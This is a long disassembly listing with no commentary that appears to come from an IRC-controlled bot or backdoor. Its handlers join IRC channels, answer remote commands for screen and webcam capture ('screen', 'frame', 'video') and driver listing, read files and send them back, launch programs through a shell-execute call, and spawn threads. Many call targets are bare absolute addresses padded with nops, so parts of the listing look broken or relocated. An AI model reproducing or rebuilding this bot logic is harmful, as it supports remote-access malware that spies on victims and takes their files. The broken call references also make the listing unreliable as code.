		add	esp, 1Ch
		mov	[ebp+var_2094],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2218]
		push	ebx
		push	eax
		push	offset byte_4143CB
		push	ebx
		push	ebx
		nop
		call	near ptr 26705F4h
		mov	ecx, [ebp+var_2094]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40884B

loc_408839:				; CODE XREF: sub_401ACD+6D7Cj
		cmp	[ebp+var_2088],	ebx
		jnz	short loc_408866
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_408839
; ---------------------------------------------------------------------------

loc_40884B:				; CODE XREF: sub_401ACD+6D6Aj
		call	near ptr 2670D55h
		nop
		push	eax
		push	offset unk_429E58

loc_408857:				; CODE XREF: sub_401ACD+6E89j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_408866:				; CODE XREF: sub_401ACD+6D72j
					; sub_401ACD+6E6Dj
		cmp	[ebp+var_8], ebx
		jnz	loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_409628
; ---------------------------------------------------------------------------

loc_408886:				; CODE XREF: sub_401ACD+4A13j
					; sub_401ACD+4A2Aj
		push	7Fh
		lea	eax, [ebp+var_23A8]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2328]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_22A8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2224],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2220],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_23AC],	esi
		push	offset dword_429E2C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2228],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23AC]
		push	ebx
		push	eax
		push	offset byte_413B77
		push	ebx
		push	ebx
		nop
		call	near ptr 26705F4h
		mov	ecx, [ebp+var_2228]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40894A

loc_408934:				; CODE XREF: sub_401ACD+6E7Bj
		cmp	[ebp+var_221C],	ebx
		jnz	loc_408866
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_408934
; ---------------------------------------------------------------------------

loc_40894A:				; CODE XREF: sub_401ACD+6E65j
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset dword_429DF0
		jmp	loc_408857
; ---------------------------------------------------------------------------

loc_40895B:				; CODE XREF: sub_401ACD+49E5j
					; sub_401ACD+49FCj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429DE8
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 10h

loc_408978:				; CODE XREF: sub_401ACD+6F16j
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854

loc_408994:				; CODE XREF: sub_401ACD+7A55j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DE0
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A2C
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4089BF:				; CODE XREF: sub_401ACD+49B7j
					; sub_401ACD+49CEj
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_429DD4
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		jmp	short loc_408978
; ---------------------------------------------------------------------------

loc_4089E5:				; CODE XREF: sub_401ACD+4989j
					; sub_401ACD+49A0j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B490
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		add	esp, 10h
		test	eax, eax
		jle	loc_409854
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DE0
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_429DB8

loc_408A4B:				; CODE XREF: sub_401ACD+7009j
					; sub_401ACD+7078j ...
		call	sub_415220
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_408A55:				; CODE XREF: sub_401ACD+495Bj
					; sub_401ACD+4972j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408A84
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429DB0
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_408A84:				; CODE XREF: sub_401ACD+6FA0j
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DE0
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_429D94
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408ADB:				; CODE XREF: sub_401ACD+492Dj
					; sub_401ACD+4944j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	esi
		push	offset dword_429DE0
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_429D78
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408B4A:				; CODE XREF: sub_401ACD+48FFj
					; sub_401ACD+4916j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset unk_429D50
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_408B86:				; CODE XREF: sub_401ACD+48D1j
					; sub_401ACD+48E8j
		push	[ebp+var_8C]
		push	offset dword_42C968
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		push	edi
		push	offset dword_429D44
		push	[ebp+arg_4]
		call	sub_409A2C
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		nop
		call	near ptr 2670535h
		push	[ebp+esi+var_84]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_429D30
		call	sub_4151AC
		jmp	loc_40351F
; ---------------------------------------------------------------------------

loc_408BEA:				; CODE XREF: sub_401ACD+48A3j
					; sub_401ACD+48BAj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A464
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429D14
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408C57:				; CODE XREF: sub_401ACD+4875j
					; sub_401ACD+488Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429CF4
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408CAC:				; CODE XREF: sub_401ACD+4847j
					; sub_401ACD+485Ej
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		push	eax
		push	[ebp+arg_10]
		call	sub_4150B4
		pop	ecx
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429CD4

loc_408CDB:				; CODE XREF: sub_401ACD+5852j
					; sub_401ACD+7B2Aj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40960F
; ---------------------------------------------------------------------------

loc_408CEF:				; CODE XREF: sub_401ACD+4819j
					; sub_401ACD+4830j
		push	edi
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4184E1
		jmp	loc_4040FC
; ---------------------------------------------------------------------------

loc_408D09:				; CODE XREF: sub_401ACD+47DBj
					; sub_401ACD+47F0j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409854
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408DB1
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408D99
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429F28
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429CAC
		push	eax
		call	sub_41B886
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_408D99:				; CODE XREF: sub_401ACD+726Fj
		lea	eax, [ebp+var_2C4]
		push	offset unk_429C7C
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_408DB1:				; CODE XREF: sub_401ACD+725Aj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset dword_429C60
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_408DFD:				; CODE XREF: sub_401ACD+47B1j
					; sub_401ACD+47C6j
		push	offset aScreen	; "screen"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408E58
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		jz	short loc_408E45
		push	edi
		call	sub_4153BC
		cmp	eax, 1
		pop	ecx
		jnz	short loc_408E3E
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429C2C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408E58
; ---------------------------------------------------------------------------

loc_408E3E:				; CODE XREF: sub_401ACD+7358j
		push	offset unk_429BFC
		jmp	short loc_408E4A
; ---------------------------------------------------------------------------

loc_408E45:				; CODE XREF: sub_401ACD+734Cj
		push	offset unk_429BC0

loc_408E4A:				; CODE XREF: sub_401ACD+7376j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_408E58:				; CODE XREF: sub_401ACD+7341j
					; sub_401ACD+736Fj
		push	offset aDrivers	; "drivers"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408EE5
		xor	edi, edi

loc_408E6D:				; CODE XREF: sub_401ACD+7403j
		lea	eax, [ebp+var_53F8]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	0FFh
		push	eax
		push	edi
		call	dword_4CAFD4
		test	eax, eax
		jz	short loc_408ECC
		lea	eax, [ebp+var_53F8]
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	eax
		push	edi
		lea	eax, [ebp+var_5D88]
		push	offset unk_429B90
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_5D88]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h

loc_408ECC:				; CODE XREF: sub_401ACD+73C1j
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_408E6D
		lea	eax, [ebp+var_2C4]
		push	offset unk_429B68
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_408EE5:				; CODE XREF: sub_401ACD+739Cj
		push	offset aFrame	; "frame"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408F86
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_408F73
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_408F73
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_408F73
		mov	eax, [ebp+esi+var_7C]
		cmp	eax, ebx
		jz	short loc_408F73
		push	eax
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_4155F7
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408F6C
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset unk_429B34
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408F86
; ---------------------------------------------------------------------------

loc_408F6C:				; CODE XREF: sub_401ACD+7480j
		push	offset unk_429B00
		jmp	short loc_408F78
; ---------------------------------------------------------------------------

loc_408F73:				; CODE XREF: sub_401ACD+7436j
					; sub_401ACD+743Fj ...
		push	offset unk_429AC8

loc_408F78:				; CODE XREF: sub_401ACD+74A4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_408F86:				; CODE XREF: sub_401ACD+7429j
					; sub_401ACD+749Dj
		push	offset aVideo	; "video"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408759
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40901E
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		jz	short loc_40901E
		mov	esi, [ebp+esi+var_78]
		cmp	esi, ebx
		jz	short loc_40901E
		push	esi
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_1C]
		call	sub_4157F0
		add	esp, 14h
		test	eax, eax
		jnz	short loc_409014
		push	[ebp+arg_1C]
		push	offset unk_429A94
		jmp	loc_40874A
; ---------------------------------------------------------------------------

loc_409014:				; CODE XREF: sub_401ACD+7538j
		push	offset unk_429A54
		jmp	loc_4090E2
; ---------------------------------------------------------------------------

loc_40901E:				; CODE XREF: sub_401ACD+74DCj
					; sub_401ACD+74EAj ...
		push	offset unk_429A14
		jmp	loc_4090E2
; ---------------------------------------------------------------------------

loc_409028:				; CODE XREF: sub_401ACD+4041j
					; sub_401ACD+4056j
		push	offset aR	; "r"
		push	[ebp+arg_10]
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_409098
		mov	esi, 200h
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch

loc_409053:				; CODE XREF: sub_401ACD+75B5j
		test	eax, eax
		jz	short loc_409084
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 20h
		jmp	short loc_409053
; ---------------------------------------------------------------------------

loc_409084:				; CODE XREF: sub_401ACD+7588j
		push	edi
		call	sub_41B05B
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_4299F0
		jmp	loc_409226
; ---------------------------------------------------------------------------

loc_409098:				; CODE XREF: sub_401ACD+756Ej
		push	[ebp+arg_10]
		push	offset unk_4299CC
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4090A5:				; CODE XREF: sub_401ACD+4017j
					; sub_401ACD+402Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	offset asc_4299C8 ; "\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_419A50
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4090F5
		push	offset unk_42999C

loc_4090E2:				; CODE XREF: sub_401ACD+754Cj
					; sub_401ACD+7556j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_408759
; ---------------------------------------------------------------------------

loc_4090F5:				; CODE XREF: sub_401ACD+760Ej
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429984
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_40910F:				; CODE XREF: sub_401ACD+3FEDj
					; sub_401ACD+4002j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		call	sub_418211
		test	eax, eax
		pop	ecx
		jnz	short loc_40913F
		push	offset unk_429964
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------

loc_40913F:				; CODE XREF: sub_401ACD+7669j
		push	offset dword_429948
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------

loc_409146:				; CODE XREF: sub_401ACD+3FC3j
					; sub_401ACD+3FD8j
		push	7Fh
		lea	eax, [ebp+var_2080]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_409177
		push	7Fh
		lea	eax, [ebp+var_2000]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_409177:				; CODE XREF: sub_401ACD+7696j
		push	7Fh
		lea	eax, [ebp+var_1F80]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2084],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_1EFC],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EF8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429930
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_1F00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2084]
		push	ebx
		push	eax
		push	offset sub_41ADB5
		push	ebx
		push	ebx
		nop
		call	near ptr 26705F4h
		mov	ecx, [ebp+var_1F00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40921A

loc_409204:				; CODE XREF: sub_401ACD+774Bj
		cmp	[ebp+var_1EF4],	ebx
		jnz	loc_406CFF
		push	32h
		call	near ptr 2670535h
		nop
		jmp	short loc_409204
; ---------------------------------------------------------------------------

loc_40921A:				; CODE XREF: sub_401ACD+7735j
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset unk_4298F0

loc_409226:				; CODE XREF: sub_401ACD+29CEj
					; sub_401ACD+75C6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_406CFF
; ---------------------------------------------------------------------------

loc_40923A:				; CODE XREF: sub_401ACD+3F99j
					; sub_401ACD+3FAEj
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_10]
		call	sub_40F96A
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset dword_4298D8
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_40925C:				; CODE XREF: sub_401ACD+3F6Fj
					; sub_401ACD+3F84j
		push	14h
		lea	eax, [ebp+var_1D48]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1D34]
		push	[ebp+arg_10]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D50],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C30]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BA8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA4],	eax
		lea	eax, [ebp+var_1C30]
		push	eax
		lea	eax, [ebp+var_1D34]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_4298B4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_1BAC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D50]
		push	ebx
		push	eax
		push	offset loc_415E1A
		push	ebx
		push	ebx
		call	near ptr 26705F4h
		nop
		mov	ecx, [ebp+var_1BAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	loc_4023E6

loc_409325:				; CODE XREF: sub_401ACD+786Cj
		cmp	[ebp+var_1BA0],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_409325
; ---------------------------------------------------------------------------

loc_40933B:				; CODE XREF: sub_401ACD+3F45j
					; sub_401ACD+3F5Aj
		push	[ebp+arg_10]
		nop
		call	near ptr 2670716h
		test	eax, eax
		jz	short loc_409366
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset dword_429898
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_409444
; ---------------------------------------------------------------------------

loc_409366:				; CODE XREF: sub_401ACD+7879j
		push	offset dword_42A0A0
		call	sub_41814C
		pop	ecx
		push	eax
		jmp	loc_403F47
; ---------------------------------------------------------------------------

loc_409377:				; CODE XREF: sub_401ACD+3F1Bj
					; sub_401ACD+3F30j
		push	[ebp+arg_10]
		call	sub_41B779
		push	eax
		call	sub_4199C9
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	[ebp+arg_10]
		cmp	eax, esi
		jnz	short loc_409398
		push	offset unk_429874
		jmp	short loc_40939D
; ---------------------------------------------------------------------------

loc_409398:				; CODE XREF: sub_401ACD+78C2j
		push	offset unk_429844

loc_40939D:				; CODE XREF: sub_401ACD+78C9j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406D02
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_406D02
; ---------------------------------------------------------------------------

loc_4093D6:				; CODE XREF: sub_401ACD+3EF1j
					; sub_401ACD+3F06j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_4196BC
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_4093FC
		push	offset unk_429824
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4093FC:				; CODE XREF: sub_401ACD+7923j
		push	offset unk_4297F4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_409406:				; CODE XREF: sub_401ACD+3EC7j
					; sub_401ACD+3EDCj
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_4CAFE4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_40944C
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CAF5C
		cmp	eax, ebx
		jz	short loc_409467
		push	dword ptr [eax]

loc_409432:				; CODE XREF: sub_401ACD+7998j
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset unk_4297D4
		push	eax
		call	sub_41B886

loc_409444:				; CODE XREF: sub_401ACD+7894j
		add	esp, 10h
		jmp	loc_406CDE
; ---------------------------------------------------------------------------

loc_40944C:				; CODE XREF: sub_401ACD+794Cj
		push	esi
		call	dword_4CB028
		cmp	eax, ebx
		jz	short loc_409467
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CB030
		push	eax
		jmp	short loc_409432
; ---------------------------------------------------------------------------

loc_409467:				; CODE XREF: sub_401ACD+7961j
					; sub_401ACD+7988j
		push	offset unk_4297AC
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_409471:				; CODE XREF: sub_401ACD+3E9Dj
					; sub_401ACD+3EB2j
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_41B5F0
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429784
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_40948E:				; CODE XREF: sub_401ACD+3E73j
					; sub_401ACD+3E88j
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CAF10
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_4094B2
		push	offset unk_429764
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4094B2:				; CODE XREF: sub_401ACD+79D9j
		push	offset unk_429740
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4094BC:				; CODE XREF: sub_401ACD+3E49j
					; sub_401ACD+3E5Ej
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_429094, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_429718
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_4094D5:				; CODE XREF: sub_401ACD+3E1Fj
					; sub_401ACD+3E34j
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B490
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_408994
; ---------------------------------------------------------------------------

loc_409527:				; CODE XREF: sub_401ACD+3DF5j
					; sub_401ACD+3E0Aj
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_401E94
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_401E94
